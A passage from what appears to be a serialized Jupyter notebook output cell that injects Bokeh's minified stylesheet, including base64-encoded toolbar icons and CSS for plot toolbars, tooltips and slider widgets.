dr9rpjua2l2r4rogRAYVqZvnPsPqVnpEXjEaB4AAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-wheel-zoom{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgskILvMJQAABTtJREFUWMPdl1+MXVUVxn/fPvf2zrSFmUKnoBCUdjRoVaIxEpO2JhilMYBCtBQS2hejpg1Uo2NUrIFAoyGmtiE+GHwQGtvQJhqDmKYRBv+URFsFDNCSptH60DJTO3dKnX/33rM/H7rvsDu9M20fDMaVnGTvtb69z7fWXmvtc/TEzqd4OyXwNsv/FwFJQVI/sA14SZKRLOlPkr5TrVYXHz70quYkEEK4TtI2YAgYkrQthHDdhV5uuw+43/ZrwCbgRttgY/tjtrc0m83X3/f+D6ydnJhYcB4BSZcBA7aP2d4ELAGW2N5k+xgwkDB0IH19CGGH7R8B1aQeAf4KvAw0ku4K2zu7uru3ApdPEyiKohd4TNKjtjt5h6RHgccSNrddbvuHtm9Jqoak7xVF8WFgdavV+pSk5cCObNmXgK++85prCj3z28HKqZMnH7D9YAY4BvwujT8BvCuL1INX9vVt+dfwcCvNb7f9q2RuSfrGvWu/sL2Nf3LX7pzvj4ENSGBPVarVd4fRkZFltjdmoMGiKO4IIWwIIWwoiuIOYDDzeOPoyMiyFLkum7WJCMDztrcrTTrIRuAQZ6NcK1utL4dWq/VZoC8BhqvV6l1lWb4YYxyLMY6VZflitVq9CxhOmL60hhCKeYiV7WMKIXw9jT1HpXw3c+bOAKzOjJubzebJrKQCQLPZPClpc7bP6rMYKtjXth2OMf7tIkr11Wz8oQDc1Fb09vY+kQw1YAuwJY2nbUluAnCWpKkaFl6IQIzxivaR2SYA89sJVK/Xp2x32R6w/a30DNjuqtfrU0ArYecDCEqgLqm94T0dEm9mBG7PxkdDlkBnkhebgIezNQ8nHcCZPL9ijE1Jf/bZZoPtzbavmqNZLbf9tSxq+yoduuJ+SZ+zXSZyBXCqU+d8fvC5yRUrV+0G2j3g2hDCLyXd/+Su3QdnvP/zCuH72LWsgf2k0oHlH2c2odlkxcpVEdgr6aDtjyb8x20/J+mA7T9I6rL9SWA5dne2/GdXLl58qNJh398An85yTMA+4DOz8Dgu6Zu2dwJXJ91ltm8Gbp7Fgb+EEB4aHhpq5CEtACqVyr3AC0AlPS8k3TSmQ2YPhhBuS/1/LpmS9JTtNTHGfwBU2uUALARotVqniqJYH2Pck85pfavVaufAwnQvnHc0McaDKVptebN94QAnJB0EdtjekydyZXqjs/0ZgLIs/w6sy8bnYGYJ63pgERKC05JutT1kOwITwL9tvzlzUQUYB+Zjs2DBgu6xsbGJZHstByZbezregcBXeCsEz1bnzXt5anLyzLq71zDLxTRdVgemdx0fv2e2w5thO5DbiqL4oKT3ZKpnpyYnz+SY2ZpTAPZmJfdIrVZbNBNUq9UW2X4kU+2dcf53Aj1pj2PA7y/6m1DS00A9za9uNBq7iqJYBuoGdRdFsazRaOzKSqye1rTbaa/tlbYrqXQP2X4FIA9/J1l39xrC0v7+w5IeB8XkwS1lWe6TGJAYKMty31tfO4qSHl/a3384I3CDpI+kzC4lnRfrue6GytEjR8oQwlY73gC0L4qlth/q0M1/LYWtR48cKQF6enrC6dOnVwGLEpnxnp7en4+O1i/tszzGOCTpPmB7ahb57QUwBWyXdF+McWg6MScmuoA8OX8xOlpvXGz422XYTsB/SnpA0h7bX5R0WzI9HUL4qe2XbI+dk3xl+V7gxoztD5jRI+YK/zkEEokx2/uB/RdzIfUtueqVN04cXwF8G3iHY3z9Urw/j8ClyhsnjrcS2Vv/J/8NLxT+/zqBTkcxU/cfEkyEAu3kmjAAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-box-edit{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4QfHjM1QAAAGRJREFUWMNjXLhsJcNAAiaGAQYsDAwM/+lsJ+OgCwGsLqMB+D8o08CoA0YdMOqAUQewDFQdMBoFIyoN/B/U7YFRB7DQIc7xyo9GwbBMA4xDqhxgISH1klXbDYk0QOseEeOgDgEAIS0JQleje6IAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-freehand-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADTElEQVRYCeWWTWwMYRjH/88721X1lZJIGxJxcEE4OOiBgzjXWh8TJKR76kWacOBGxdEJIdk4VChZI/phidRBHMRRIr7DSUiaSCRFRM3u88gz+o7Z6bBTdjmYZPf9eJ55fv/5zzvvDPC/H9QsA66Olo9Ga+/MdR+Ljm2/KQIULsz9FqItGdOfJKLhApLgVkiSCGODjWit7QpKWy+TNrFeXvzKVUT8NiTVaIgDcbiCFJ7GiT8WkARXAdYBK0Lbhi/CenArRNskuM7/tgNp4ArQ42dwjf3WY5gWTqC7O/NbNn2Xkfw/YwdSw/We14HP2IEZwX+y9cZ9SH0LmgFP7UCz4KkENBNeV0Cz4b8U8DfgKiDxMWwUXETqLvJpCQpXZfawbzS7t9v5pL19cHBwfja7YA0y/lyCM0+E5hv5+piZXwKYcF23as+37bTXsQVqgkL0p/34fHR7DcBtbetFsBmGDwMOJCggYG55yw7dMlk6DuC1Bdu2RsCU9TYWQq2IoGbsreZ5NzvEqfSBsIsIy8OTbcdgiRHeh4o8AFAEwDakbY2AaCCpH7V9aGhoUUUy3UyVbkPYFuYLDlUZH8XBpwxkK0Dbgxg5HcVi0ent7a0RULMIozaHBSMfF9b2SzdutFcFB2FkwMIJOG6qfteXOa1nHZ48tyefuwyfT9s6wtzZ3t7eZse2DR2I228TtHXzuWCx9g8MtK5cuHCZTH4tiHEOa4xFngvTyS8f35d6enomiCi4/foEXBkZaQuukChL4FYA2Whd7YcC4gEdW3CpdL3LtGAVCVYJywEyTpAuJKeMOKXZs/Bw947C50KhUFOG4cwz35cjWNBlHGeD53n3xsfHP/T19U1qciggar8Fa4I3PHobIotBWBtc2hSiChyZxVzM53Pv7FVH6Tp3uVy+g0r1ImD2GjIrQGYIxjnfuXTZGICS5k/bBwJoubwEFX4TLah9EXomJGMA3za+f9913Yl4TnzsDQ+vE6YTZOjHh4ngibstt1pzQwd04F0bPStEBpXqRoBeQ/AKghfBnOEKgS+Q7z91Xfdz/HGKg8Ox7z8iYD9z6wqTkZFgnvhMGP9VZ2or1XVkPM9z0mytSfVsHa1RLBZbLoyNzUnK+ydz3wC6I9x+lwbngwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-poly-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEjglo9eZgwAAAc5JREFUWMPt1zFrU1EUB/DfS4OmVTGDIChCP4BgnQXRxVHqIJUupp9AB8VBQcRBQUXIB9DWQoMRiXZzcnQSA34A7aAuHSJKkgo2LvfBrU3aJnlYkBy4vHcP557zP/9z3r33JdXa647N0kHSZd5Nn0rSxc8G3cXp85sMcnZZ8vge3osZ+l3vB8CWFA0iL14t79h210swAjACMAIwAjACkB90D/8/GchI9ve4nPwTBh5E9ws7OepzGWb9EddSn51Op9ZstadSg4VK1UKlKkmSDSMLALewiuNh/hVJq71Wxttmqz0dG88vPc+MgWP4grvYG3SLOBrZFFFrttqPe4HIDxh4GSei+98iSlusuYopXEAjBtEPA3tQwUpwluAbDm4TPJUz+BTW9l2Ce6G7L0X/Bw8D3T/7SKKIDzHg7QCcxjvcQAEtXAnrrg/RP0/DKPbqgcN4iVOR7gcO4dcQgRuoh7HSqwlP4n20m63jJu5n8MkWMYfP3UowhzdR8FU8w9iQwevBdyq3/27CMRzAE5yLuvsRLg+ZcR1nJ8YL81HWJUzGAPaFZwe/Q5MdyYDyNHgjzO90YyGHtVDncuiJchaHw8R4oREFV5qdiVmYLM3OgD9k5209/atmIAAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-point-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEiERGWPELgAAA4RJREFUWMO1lr1uG1cQhb9ztdRSP7AF1QxgwKlcuZSqRC9gWUUUINWqTh5AnaFOnVPEteQmRuhCURqWsSqqc9IolREXdEvQBElxtdw7KURSFEVKu4w8wAKLxdw9Z+bMnRmZGXfZ29//II8th4WwGVNyIoQLYB5vxA9Caq04iUd9A+7ZlsNC2I7TdSd2hZXMJKlnTqp9jtl/GBaqoyQ0noFKpUIzBicYYc+DEFpxkglc4oVJa5gvDn8v1xV2irG3FM4NSVwjUKlUaMcpJhCGmSEJQ6QGD8M5WnHCd8+f3QCXpPLx8WNwv0j6Bm9FMK7FJ3WBE+R/2t7c/GBmFvSBrzRTCsyTDjXrxUgEMtpxynJYmJoBJ4VAybwVARgvL7Oik0okCodnKpVKX7P0leiVMb0VvbJT+upznK4vh0GIeQwwQStJkHQD3MwsCALTJRG7Qrdrj5m/djgYaIa0hlkRdJk26XEgC9txurccBtVW3IudBImmZuACUP+ZlIDBt9FKcubYNTcAH/X0RYM1E7utJPlqe+uZzPxUcEkiSS4sTT95n15Mud0xWC0o2PAWOCdK3KYZlFxfM+tHOcnMzNr1es18ug+cgsVjP4yBU/Ppfrter1m/+l0+zYygML1xRVHU7TSb1cSzBzoBzszsH+AMdJJ49jrNZjWKou6wBnwOzcyndBpNbuueURR1Dw8Pq35p9cc5p/Dy9Dypt7jXrtdGwQECS9NPhr6Gq6txUzNigE6zydLK6lTw12/KT4FGFEUfJX2YJNONq5tVs4ODA7sD/DnwJ/BoADZuE3tHFs12dna6d4C/BI6AlbyzI8ii2TTw12/KK33gb2cdXsNZoAntbZC2SeO4c9592k/5eNQbiwvFd1kJuFGwLJr1wSPg/SwpvyFBHufOeXcFeAlE97U/uCxOY+P3b+Bn4B3Q+L8EdJfD4a+/AbC4UBzPxiPg3wlHZquB28Cn2IuR9x3gr3uV4DbwfvSDOvi4uFA8BDZmIRHkjHpS9Ht9iRqd8+5G3g05mAGcQbsdiX5QJ428G7Kygo8XYdb1/K4NWVmjzkNge2sz84bs+ELmpDDLtqWsNZBXgvmw8CTtpWVMT7x5YWBjLARnwZfKQNYN2U2LPvrh+5nBt7c2M2/It9bArCTKR8eZN+SJ13AScPnoODeRdqNenH+wul5w2gUr2WUjMFAt8bZ/0axX/wNnv4H8vTFb1QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-poly-edit{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gELFi46qJmxxAAABV9JREFUWMOdl19vFFUYxn9n9u9sCyylUIzWUoMQBAWCMdEEIt6xIRQSLIEKtvHe6AcA4yeQb7CAUNJy0daLeomJN8SEULAC2kBBapBKoLvbmdl/c14vdmY7u91tF95kknPOnHmf95znPc97Ro2OTeBbdjFDT3c32ZxVHUOE9kSMB0/m6ExuoJn1H+ur6Y+OTfD50SMN5168OgrAlyf7CfuD+z7+iDs3p8hkLUQ0iFQ/yFl5Nm/qonfHVva+s32Zw9GxCYILsZ08tpNfBhbs+1YN4OH9+7huGdECSBVfqUosbsllfmauBqiR+cCNwOr7AEo8pPHJnymXykhg5fUWjoQpl0vVvhZhbSzGoUOHqgBlt6B6uruj2Zy1E9jo0fhfeyL2x4Mnc8VErK0KUEOB64JSyptfG4RSytsJjUJVxw2lsFy3urL9nx1Qd25ObctkrVMi+jQivd7U2ZyV/3Hzpq7h3h1b/7p9Y0o8v8rwAbTWrGpSocN/FGDlbAI0Rl23PCBan0Ok158H9Ipwzi25A/Mzc9Gl/BYx/E4kYqC1NKRARNAaDCNUM27Z+Zr+ouXs0q4+LSLBHPYCFkTkC6uU39kwCdsS7WRKmaYUiAhdnZ3MPX2K4+QjQI+C94A93rMzm8ltMwyDeDzWjMZeEb2pYQDdW3vITU2jtUZ5QThOPgm8C7wP7J15OPsBsB3oWpGnVWisCeDS1VHj4vBI92+/3tgB7Ab2AruAXiDBK5oIOkhtkEYRNRuJhObrd8Dl9ewf4D5wG7hVLpen29vb5wzD+BrkbBMaL3d1dk5nsrnlFDTTFWAWmAZueWD3gCemGde2k2fw1Al1YXhEvjozoO49eczdqekrWmsc2zlrmvEKOGoW1GUjFLqSk2KpJrCLwyMCPAP+BO54QL8DM6YZX/ClsP9YnwKkXnIBP4jdIpJRpdJTCYdMwwi98KU0Hjc/dDILNyUcwTCWdOSMJ0TRmBktGRhLugu0xyLk7CIqVNm+0bGJptl1YXikD0grpY4Rjc4a8Fbgdab/6OGbAJeCUuyJnnHmZH9pbSyGuBXV8NUwlUpR1EWyixmSyTWEwqGlJ2Swbo2JXbAAfgDGgGQA9I1A9t1tlq0AxrXxn0ilUpw4fhQqYkH/sT41OTnJJwf2s6FjI5mshdYa7bqVR2uezr9MJmJt14FvGrh/O9D+e6UkM/xyCuCqEKCYnJyUTKFQrZDHjxzGshwWLQcRsOz8Hi85P23id0ug/XilAMLBmm4tPGdoaKjSH5+oAGrhwvBI9SjZTn4QSK9yenoD7dlrExPoJlXW8G8ytpNHxRKk02lGxsdRKFwXLNvx5yY94HQLGhGk4LFCYQSqaE0AwWM1eOoEbR0dKBSW7bC4mKuffxs4D/wCLKwQQPAUzIkslfp6cVomROWSolh0GjldAM4nzDi2k9/i5UAzC9aKfwNJ3zgJg9YEvN6+C7SHgKm69+sD7RfNnKTTaZRPQfAut4oFV//IS7gkcB34VlVo8kGzphlfB+DU+TfNGBpZtRastvrvARJmfMF28ge9sc2B9/PNnCilMIDwK6y8/ow/Ai4kvILTljAXvDvEvrqKSUs60KolzPjBxspavQD2tKqCAGF/Ba+xE/Wbilu54wZV8NEKF5fXzQHl/bh4hUsE0WAXSlDMYcQSrQXgCmsTseXHsJkNnjqBFGwKJaHsKlxtUHYVhbLCzr1kaOA4bcn1y1Swmb+iLpJKpVrfgdpfsiVVCYcgluwgnU7jEgJ4s5UkLFtWYyHyEg0/N1q1tmQH+YXnAMFr97Nmv3p+0QsHQRsF8qpBOE5+rb9Nkaj50tVQKjqh4OU3GNL/1/So3vuUgbAAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-grid-row,.bk-root .bk-grid-column{display:flex;display:-webkit-flex;flex-wrap:nowrap;-webkit-flex-wrap:nowrap}.bk-root .bk-grid-row>*,.bk-root .bk-grid-column>*{flex-shrink:0;-webkit-flex-shrink:0}.bk-root .bk-grid-row{flex-direction:row;-webkit-flex-direction:row}.bk-root .bk-grid-column{flex-direction:column;-webkit-flex-direction:column}.bk-root .bk-canvas-wrapper{position:relative;font-size:12pt}.bk-root .bk-canvas,.bk-root .bk-canvas-overlays,.bk-root .bk-canvas-events{position:absolute;top:0;left:0;width:100%;height:100%}.bk-root .bk-canvas-map{position:absolute;border:0}.bk-root .bk-logo{margin:5px;position:relative;display:block;background-repeat:no-repeat}.bk-root .bk-logo.bk-grey{filter:url(\\\\\\\"data:image/svg+xml;utf8,<svg xmlns=\\\\\\\\'http://www.w3.org/2000/svg\\\\\\\\'><filter id=\\\\\\\\'grayscale\\\\\\\\'><feColorMatrix type=\\\\\\\\'matrix\\\\\\\\' values=\\\\\\\\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\\\\\\\\'/></filter></svg>#grayscale\\\\\\\");filter:gray;-webkit-filter:grayscale(100%)}.bk-root .bk-logo-notebook{display:inline-block;vertical-align:middle;margin-right:5px}.bk-root .bk-logo-small{width:20px;height:20px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIENTNui8sowAAAOkSURBVDiNjZRtaJVlGMd/1/08zzln5zjP1LWcU9N0NkN8m2CYjpgQYQXqSs0I84OLIC0hkEKoPtiH3gmKoiJDU7QpLgoLjLIQCpEsNJ1vqUOdO7ppbuec5+V+rj4ctwzd8IIbbi6u+8f1539dt3A78eXC7QizUF7gyV1fD1Yqg4JWz84yffhm0qkFqBogB9rM8tZdtwVsPUhWhGcFJngGeWrPzHm5oaMmkfEg1usvLFyc8jLRqDOMru7AyC8saQr7GG7f5fvDeH7Ej8CM66nIF+8yngt6HWaKh7k49Soy9nXurCi1o3qUbS3zWfrYeQDTB/Qj6kX6Ybhw4B+bOYoLKCC9H3Nu/leUTZ1JdRWkkn2ldcCamzrcf47KKXdAJllSlxAOkRgyHsGC/zRday5Qld9DyoM4/q/rUoy/CXh3jzOu3bHUVZeU+DEn8FInkPBFlu3+nW3Nw0mk6vCDiWg8CeJaxEwuHS3+z5RgY+YBR6V1Z1nxSOfoaPa4LASWxxdNp+VWTk7+4vzaou8v8PN+xo+KY2xsw6une2frhw05CTYOmQvsEhjhWjn0bmXPjpE1+kplmmkP3suftwTubK9Vq22qKmrBhpY4jvd5afdRA3wGjFAgcnTK2s4hY0/GPNIb0nErGMCRxWOOX64Z8RAC4oCXdklmEvcL8o0BfkNK4lUg9HTl+oPlQxdNo3Mg4Nv175e/1LDGzZen30MEjRUtmXSfiTVu1kK8W4txyV6BMKlbgk3lMwYCiusNy9fVfvvwMxv8Ynl6vxoByANLTWplvuj/nF9m2+PDtt1eiHPBr1oIfhCChQMBw6Aw0UulqTKZdfVvfG7VcfIqLG9bcldL/+pdWTLxLUy8Qq38heUIjh4XlzZxzQm19lLFlr8vdQ97rjZVOLf8nclzckbcD4wxXMidpX30sFd37Fv/GtwwhzhxGVAprjbg0gCAEeIgwCZyTV2Z1REEW8O4py0wsjeloKoMr6iCY6dP92H6Vw/oTyICIthibxjm/DfN9lVz8IqtqKYLUXfoKVMVQVVJOElGjrnnUt9T9wbgp8AyYKaGlqingHZU/uG2NTZSVqwHQTWkx9hxjkpWDaCg6Ckj5qebgBVbT3V3NNXMSiWSDdGV3hrtzla7J+duwPOToIg42ChPQOQjspnSlp1V+Gjdged7+8UN5CRAV7a5EdFNwCjEaBR27b3W890TE7g24NAP/mMDXRWrGoFPQI9ls/MWO2dWFAar/xcOIImbbpA3zgAAAABJRU5ErkJggg==)}.bk-root .bk-toolbar,.bk-root .bk-toolbar *{box-sizing:border-box;margin:0;padding:0}.bk-root .bk-toolbar-hidden{visibility:hidden;opacity:0;transition:visibility .3s linear,opacity .3s linear}.bk-root .bk-toolbar,.bk-root .bk-button-bar{display:flex;display:-webkit-flex;flex-wrap:nowrap;-webkit-flex-wrap:nowrap;align-items:center;-webkit-align-items:center;user-select:none;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.bk-root .bk-toolbar .bk-logo{flex-shrink:0;-webkit-flex-shrink:0}.bk-root .bk-toolbar-above,.bk-root .bk-toolbar-below{flex-direction:row;-webkit-flex-direction:row;justify-content:flex-end;-webkit-justify-content:flex-end}.bk-root .bk-toolbar-above .bk-button-bar,.bk-root .bk-toolbar-below .bk-button-bar{display:flex;display:-webkit-flex;flex-direction:row;-webkit-flex-direction:row}.bk-root .bk-toolbar-above .bk-logo,.bk-root .bk-toolbar-below .bk-logo{order:1;-webkit-order:1;margin-left:5px}.bk-root .bk-toolbar-left,.bk-root .bk-toolbar-right{flex-direction:column;-webkit-flex-direction:column;justify-content:flex-start;-webkit-justify-content:flex-start}.bk-root .bk-toolbar-left .bk-button-bar,.bk-root .bk-toolbar-right .bk-button-bar{display:flex;display:-webkit-flex;flex-direction:column;-webkit-flex-direction:column}.bk-root .bk-toolbar-left .bk-logo,.bk-root .bk-toolbar-right .bk-logo{order:0;-webkit-order:0;margin-bottom:5px}.bk-root .bk-toolbar-button{width:30px;height:30px;background-size:60%;background-color:transparent;background-repeat:no-repeat;background-position:center center}.bk-root .bk-toolbar-button:hover{background-color:#f9f9f9}.bk-root .bk-toolbar-button:focus{outline:0}.bk-root .bk-toolbar-button::-moz-focus-inner{border:0}.bk-root .bk-toolbar-above .bk-toolbar-button{border-bottom:2px solid transparent}.bk-root .bk-toolbar-above .bk-toolbar-button.bk-active{border-bottom-color:#26aae1}.bk-root .bk-toolbar-below .bk-toolbar-button{border-top:2px solid transparent}.bk-root .bk-toolbar-below .bk-toolbar-button.bk-active{border-top-color:#26aae1}.bk-root .bk-toolbar-right .bk-toolbar-button{border-left:2px solid transparent}.bk-root .bk-toolbar-right .bk-toolbar-button.bk-active{border-left-color:#26aae1}.bk-root .bk-toolbar-left .bk-toolbar-button{border-right:2px solid transparent}.bk-root .bk-toolbar-left .bk-toolbar-button.bk-active{border-right-color:#26aae1}.bk-root .bk-button-bar+.bk-button-bar:before{content:\\\\\\\" \\\\\\\";display:inline-block;background-color:lightgray}.bk-root .bk-toolbar-above .bk-button-bar+.bk-button-bar:before,.bk-root .bk-toolbar-below .bk-button-bar+.bk-button-bar:before{height:10px;width:1px}.bk-root .bk-toolbar-left .bk-button-bar+.bk-button-bar:before,.bk-root .bk-toolbar-right .bk-button-bar+.bk-button-bar:before{height:1px;width:10px}.bk-root .bk-tooltip{font-family:\\\\\\\"HelveticaNeue-Light\\\\\\\",\\\\\\\"Helvetica Neue Light\\\\\\\",\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,\\\\\\\"Lucida Grande\\\\\\\",sans-serif;font-weight:300;font-size:12px;position:absolute;padding:5px;border:1px solid #e5e5e5;background-color:white;pointer-events:none;opacity:.95}.bk-root .bk-tooltip>div:not(:first-child){margin-top:5px;border-top:#e5e5e5 1px dashed}.bk-root .bk-tooltip.bk-left.bk-tooltip-arrow::before{position:absolute;margin:-7px 0 0 0;top:50%;width:0;height:0;border-style:solid;border-width:7px 0 7px 0;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;left:-10px;border-right-width:10px;border-right-color:#909599}.bk-root .bk-tooltip.bk-left::before{left:-10px;border-right-width:10px;border-right-color:#909599}.bk-root .bk-tooltip.bk-right.bk-tooltip-arrow::after{position:absolute;margin:-7px 0 0 0;top:50%;width:0;height:0;border-style:solid;border-width:7px 0 7px 0;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;right:-10px;border-left-width:10px;border-left-color:#909599}.bk-root .bk-tooltip.bk-right::after{right:-10px;border-left-width:10px;border-left-color:#909599}.bk-root .bk-tooltip.bk-above::before{position:absolute;margin:0 0 0 -7px;left:50%;width:0;height:0;border-style:solid;border-width:0 7px 0 7px;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;top:-10px;border-bottom-width:10px;border-bottom-color:#909599}.bk-root .bk-tooltip.bk-below::after{position:absolute;margin:0 0 0 -7px;left:50%;width:0;height:0;border-style:solid;border-width:0 7px 0 7px;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;bottom:-10px;border-top-width:10px;border-top-color:#909599}.bk-root .bk-tooltip-row-label{text-align:right;color:#26aae1}.bk-root .bk-tooltip-row-value{color:default}.bk-root .bk-tooltip-color-block{width:12px;height:12px;margin-left:5px;margin-right:5px;outline:#ddd solid 1px;display:inline-block}.rendered_html .bk-root .bk-tooltip table,.rendered_html .bk-root .bk-tooltip tr,.rendered_html .bk-root .bk-tooltip th,.rendered_html .bk-root .bk-tooltip td{border:0;padding:1px}\\\\n/* END bokeh.min.css */\\\");\\n\",\n       \"      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n\",\n       \"      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh-widgets.min.css */\\\\n@charset \\\\\\\"UTF-8\\\\\\\";.bk-root{/*!\\\\n * Pikaday\\\\n * Copyright \\\\u00a9 2014 David Bushell | BSD & MIT license | http://dbushell.com/\\\\n */}.bk-root .bk-noUi-target,.bk-root .bk-noUi-target *{-webkit-touch-callout:none;-webkit-tap-highlight-color:rgba(0,0,0,0);-webkit-user-select:none;-ms-touch-action:none;touch-action:none;-ms-user-select:none;-moz-user-select:none;user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.bk-root .bk-noUi-target{position:relative;direction:ltr}.bk-root .bk-noUi-base{width:100%;height:100%;position:relative;z-index:1}.bk-root .bk-noUi-connect{position:absolute;right:0;top:0;left:0;bottom:0}.bk-root .bk-noUi-origin{position:absolute;height:0;width:0}.bk-root .bk-noUi-handle{position:relative;z-index:1}.bk-root .bk-noUi-state-tap .bk-noUi-connect,.bk-root .bk-noUi-state-tap .bk-noUi-origin{-webkit-transition:top .3s,right .3s,bottom .3s,left .3s;transition:top .3s,right .3s,bottom .3s,left .3s}.bk-root .bk-noUi-state-drag *{cursor:inherit !important}.bk-root .bk-noUi-base,.bk-root .bk-noUi-handle{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.bk-root .bk-noUi-horizontal{height:18px}.bk-root .bk-noUi-horizontal .bk-noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.bk-root .bk-noUi-vertical{width:18px}.bk-root .bk-noUi-vertical .bk-noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.bk-root .bk-noUi-target{background:#fafafa;border-radius:4px;border:1px solid #d3d3d3;box-shadow:inset 0 1px 1px #f0f0f0,0 3px 6px -5px #BBB}.bk-root .bk-noUi-connect{background:#3fb8af;border-radius:4px;box-shadow:inset 0 0 3px rgba(51,51,51,0.45);-webkit-transition:background 450ms;transition:background 450ms}.bk-root .bk-noUi-draggable{cursor:ew-resize}.bk-root .bk-noUi-vertical .bk-noUi-draggable{cursor:ns-resize}.bk-root .bk-noUi-handle{border:1px solid #d9d9d9;border-radius:3px;background:#FFF;cursor:default;box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #ebebeb,0 3px 6px -3px #BBB}.bk-root .bk-noUi-active{box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #DDD,0 3px 6px -3px #BBB}.bk-root .bk-noUi-handle:before,.bk-root .bk-noUi-handle:after{content:\\\\\\\"\\\\\\\";display:block;position:absolute;height:14px;width:1px;background:#e8e7e6;left:14px;top:6px}.bk-root .bk-noUi-handle:after{left:17px}.bk-root .bk-noUi-vertical .bk-noUi-handle:before,.bk-root .bk-noUi-vertical .bk-noUi-handle:after{width:14px;height:1px;left:6px;top:14px}.bk-root .bk-noUi-vertical .bk-noUi-handle:after{top:17px}.bk-root [disabled] .bk-noUi-connect{background:#b8b8b8}.bk-root [disabled].bk-noUi-target,.bk-root [disabled].bk-noUi-handle,.bk-root [disabled] .bk-noUi-handle{cursor:not-allowed}.bk-root .bk-noUi-pips,.bk-root .bk-noUi-pips *{-moz-box-sizing:border-box;box-sizing:border-box}.bk-root .bk-noUi-pips{position:absolute;color:#999}.bk-root .bk-noUi-value{position:absolute;white-space:nowrap;text-align:center}.bk-root .bk-noUi-value-sub{color:#ccc;font-size:10px}.bk-root .bk-noUi-marker{position:absolute;background:#CCC}.bk-root .bk-noUi-marker-sub{background:#AAA}.bk-root .bk-noUi-marker-large{background:#AAA}.bk-root .bk-noUi-pips-horizontal{padding:10px 0;height:80px;top:100%;left:0;width:100%}.bk-root .bk-noUi-value-horizontal{-webkit-transform:translate3d(-50%,50%,0);transform:translate3d(-50%,50%,0)}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker{margin-left:-1px;width:2px;height:5px}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker-sub{height:10px}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker-large{height:15px}.bk-root .bk-noUi-pips-vertical{padding:0 10px;height:100%;top:0;left:100%}.bk-root .bk-noUi-value-vertical{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0);padding-left:25px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker{width:5px;height:2px;margin-top:-1px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker-sub{width:10px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker-large{width:15px}.bk-root .bk-noUi-tooltip{display:block;position:absolute;border:1px solid #d9d9d9;border-radius:3px;background:#fff;color:#000;padding:5px;text-align:center;white-space:nowrap}.bk-root .bk-noUi-horizontal .bk-noUi-tooltip{-webkit-transform:translate(-50%,0);transform:translate(-50%,0);left:50%;bottom:120%}.bk-root .bk-noUi-vertical .bk-noUi-tooltip{-webkit-transform:translate(0,-50%);transform:translate(0,-50%);top:50%;right:120%}.bk-root .bk-noUi-handle{cursor:grab;cursor:-webkit-grab}.bk-root .bk-noUi-handle.bk-noUi-active{cursor:grabbing;cursor:-webkit-grabbing}.bk-root .bk-noUi-tooltip{display:none;white-space:nowrap}.bk-root .bk-noUi-handle:hover .bk-noUi-tooltip{display:block}.bk-root .bk-noUi-horizontal{width:100%;height:10px}.bk-root .bk-noUi-horizontal .bk-noUi-handle{width:14px;height:18px;left:-7px;top:-5px}.bk-root .bk-noUi-vertical{width:10px;height:100%}.bk-root .bk-noUi-vertical .bk-noUi-handle{width:18px;height:14px;left:-5px;top:-7px}.bk-root .bk-noUi-handle:after,.bk-root .bk-noUi-handle:before{display:none}.bk-root .bk-noUi-connect{box-shadow:none}.bk-root 